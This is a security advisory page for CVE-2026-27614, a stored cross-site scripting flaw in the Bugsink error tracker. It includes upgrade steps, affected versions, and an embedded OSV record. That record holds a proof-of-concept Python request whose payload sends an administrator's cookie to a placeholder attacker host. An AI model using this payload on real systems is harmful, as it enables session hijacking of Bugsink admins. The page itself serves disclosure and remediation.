CVE-2026-27614: Bugsink Cross-Site Scripting Vulnerability
CRITICALCVE-2026-27614 is a CRITICAL (CVSS 9.3) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Bugsink libraries in the PyPI ecosystem. The issue involves bugsink is vulnerable to stored xss via pygments fallback in stacktrace rendering. Remediation is available by upgrading affected packages to version 2.0.13.
CVE-2026-27614 at a Glance
Security Impact
CVSS: 9.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N).
How to Fix CVE-2026-27614
To remediate this vulnerability, upgrade all affected Bugsink dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install bugsink>=2.0.13
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show bugsink
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-27614, inspect your installed packages using pip:
pip show bugsink
Analyze the terminal output to locate any version of Bugsink in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.13), your application is affected.
Note: The pip show bugsink command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Bugsink, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-27614 Affected Bugsink Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
bugsink
|
PyPI |
< 2.0.13
|
2.0.13
|
References
Frequently Asked Questions
What is CVE-2026-27614?
Which Bugsink versions are affected?
What version fixes CVE-2026-27614?
Is bugsink affected?
What is the CVSS score of CVE-2026-27614?
What CWE is associated with CVE-2026-27614?
How can I check PyPI dependencies for CVE-2026-27614?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-vp6q-7m36-pq3w",
"modified" : "2026-02-25T16:06:00Z",
"published" : "2026-02-25T16:06:00Z",
"aliases" : [ "CVE-2026-27614" ],
"summary" : "Bugsink is vulnerable to Stored XSS via Pygments fallback in stacktrace rendering",
"details" : "### Summary\n\nAn unauthenticated attacker who can submit events to a Bugsink project can store arbitrary JavaScript in an event.\nThe payload executes only if a user explicitly views the affected Stacktrace in the web UI.\n\n### Details\n\nWhen Pygments returns more lines than it was given (a known upstream quirk that triggers with Ruby heredoc-style input), `_pygmentize_lines()` in `theme/templatetags/issues.py:75-77` falls back to returning the raw input lines. `mark_safe()` at line 111-113 is then applied unconditionally - including to those unsanitized raw lines. Since DSN endpoints are public by Sentry protocol, no account is needed to inject. The payload sits in the database until an admin looks at the event.\n\n```python\n# issues.py:75-77 - fallback path, no escaping\nif len(pygmented) != len(lines):\n return lines # raw HTML returned here\n\n# issues.py:111-113 - unconditional mark_safe\nreturn [mark_safe(line) for line in result]\n```\n\n### Operational Signals\n\nExploitation attempts are likely to generate the diagnostic event:\n\n```\n\"Pygments line count mismatch, falling back to unformatted code\"\n```\n\nInstallations that monitor Bugsink with Bugsink (or otherwise alert on internal errors)\nmay see this message as an issue. While the condition can occur benignly, unexpected\noccurrences, especially from unusual languages (specifically ruby), warrant review.\n\n\n### PoC\n\nSend a Sentry event to `/api/<project-id>/store/` with a valid DSN:\n\n```python\nimport requests\n\npayload = {\n \"exception\": {\"values\": [{\"stacktrace\": {\"frames\": [{\n \"filename\": \"app.rb\",\n \"lineno\": 2,\n \"pre_context\": [\"<<~HEREDOC\", \" foo\", \"HEREDOC\"],\n \"context_line\": \"<img src=x onerror=fetch('//attacker/?c='+document.cookie)>\",\n \"post_context\": []\n }]}}]}\n}\n\nrequests.post(\n \"http://bugsink-host/api/<project-id>/store/\",\n json=payload,\n headers={\"X-Sentry-Auth\": \"Sentry sentry_key=<dsn-public-key>, sentry_version=7\"}\n)\n```\n\nOpen the event in the bugsink UI as any admin. Cookie exfiltrates immediately.\n\n### Impact\n\nThis is a stored XSS vulnerability.\n\nSuccessful exploitation requires:\n\n* The attacker can submit events to the project (i.e. knows the DSN or can access a client that uses it).\n* The Bugsink ingest endpoint is reachable to the attacker.\n* An administrator explicitly views the crafted event in the UI.\n\nUnder those conditions, the attacker can execute JavaScript in the administrator’s browser\nand act with that user’s privileges within Bugsink.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "bugsink"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.0.13"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 2.0.12"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/bugsink/bugsink/security/advisories/GHSA-vp6q-7m36-pq3w"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-27614"
}, {
"type" : "WEB",
"url" : "https://github.com/bugsink/bugsink/commit/e784d6aeb0d5f29b40c2779d2544c2b9ef097ee9"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/bugsink/bugsink"
}, {
"type" : "WEB",
"url" : "https://github.com/bugsink/bugsink/releases/tag/2.0.13"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-79" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-02-25T16:06:00Z",
"nvd_published_at" : "2026-02-25T03:16:05Z"
}
}